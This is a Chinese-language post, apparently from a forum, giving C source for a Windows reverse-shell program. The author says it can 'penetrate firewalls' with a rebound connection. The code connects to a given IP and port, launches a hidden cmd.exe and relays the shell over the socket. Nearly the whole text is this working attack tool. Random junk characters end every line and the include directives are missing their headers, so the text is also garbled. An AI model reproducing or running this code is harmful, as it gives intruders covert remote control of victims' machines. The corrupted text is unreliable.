Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 w]5f3CIm  
~|B!.+  
/* ============================== S
1^Mw;?P  
Rebound port in Windows NT glKs8^W  
By wind,2006/7 3 Q%k(,  
===============================*/ e5/DCz  
#include V]S06>P  
#include w2C!>fJ]1  
Mpl,}Q!c  
#pragma comment(lib,"wsock32.lib") ]JCB^)tM  
@2Y]p.$q  
void OutputShell(); ZX5A%`<M  
SOCKET sClient; 9{^B Tc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .Zo9^0`C  
~C*6V{Tj  
void main(int argc,char **argv) 4Uy>#IL  
{ $j4?'-i=e  
WSADATA stWsaData; Kg0\Pvg8?T  
int nRet; CO)b'V,  
SOCKADDR_IN stSaiClient,stSaiServer; ]v,y(yl  
]!Aze^7;  
if(argc != 3) ~JmxW;|_x)  
{ OD
@A+"  
printf("Useage:\n\rRebound DestIP DestPort\n"); O@(.ei*HJ!  
return; }${ZI  
} &=yqWW?  
eiSO7cGy  
WSAStartup(MAKEWORD(2,2),&stWsaData); $O</akn;  
\,IDLXqp  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HgBEV  
yI)fu^  
stSaiClient.sin_family = AF_INET; u
Y%3X/^j  
stSaiClient.sin_port = htons(0); YrcC"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =z/mI y<  
c$SxDYG  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rJ~(Xu>,s  
{ Fe2
-;o  
printf("Bind Socket Failed!\n"); d?qO`- ~$  
return; r-"`Abev  
} )Jjw}}$}Y  
(pxz#B4  
stSaiServer.sin_family = AF_INET; &b]KMAo3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {ZYCnS&?CL  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6Q?6-,?_  
*Lk&@(  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D '_#?%3^  
{ Yiw^@T\H`  
printf("Connect Error!"); ~~E=E;9
  
return; 8; N
}d)*O  
} JI; i1@|b  
OutputShell(); 6!=9V0G~  
} qmeEUch`  
21
k-ob1Y  
void OutputShell() xupdjT%4  
{ vlKKP

S  
char szBuff[1024]; Z5^UF2`Q  
SECURITY_ATTRIBUTES stSecurityAttributes; X1~A "sW[  
OSVERSIONINFO stOsversionInfo; x=r6vOj  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yaGVY*M0  
STARTUPINFO stStartupInfo; .BTT*vL-  
char *szShell; S gsR;)2  
PROCESS_INFORMATION stProcessInformation; =,;3z/k%  
unsigned long lBytesRead; ^?VT y5yp  
\Nn%*?f  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +fR`@HI  
Xwq2;Bq  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); iQj{J1V  
stSecurityAttributes.lpSecurityDescriptor = 0; E|}Nj}(*  
stSecurityAttributes.bInheritHandle = TRUE; j%<@uiu  
SmEd'YD!J  
pq5H{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G8c}re   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }pZnWK+  
NOr*+N\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -Z&{$J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2%%U)|39mB  
stStartupInfo.wShowWindow = SW_HIDE; aRKG)0=  
stStartupInfo.hStdInput = hReadPipe; |,~A9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BPs &  
J)&
+y;.  
GetVersionEx(&stOsversionInfo); ,>%r|YSJ)  
*iN]#)3>  
switch(stOsversionInfo.dwPlatformId) t/BiZo|zl  
{ <iqyDPj  
case 1: 6Z}))*3 9  
szShell = "command.com"; ~PvzUT-^  
break; `d;izQ1_=  
default: .Bn2;
nO  
szShell = "cmd.exe"; EqU[mqeF  
break; IY6S\Gn  
} .F|WQ7Mu  
PG]mwaj])  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7lOiFw  
]/naH#8G  
send(sClient,szMsg,77,0); J}u1\Id%  
while(1) 7ZnQ] ?  
{ kpUU'7Q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a2FIFWvW  
if(lBytesRead) #iU/Yg!  
{ WU@,1.F:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PiQs><FK8  
send(sClient,szBuff,lBytesRead,0); a6#PZ!1  
} ^aoLry&i=  
else 6Ky"4\e  
{ VqU:`?#"a  
lBytesRead=recv(sClient,szBuff,1024,0); fJV VW  
if(lBytesRead<=0) break; u^[v{hv'H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iKKWn*u  
} / /rWc,c  
} 8TvPCZ$x  
~PAn _]Z  
return; MUl+Oy>  
}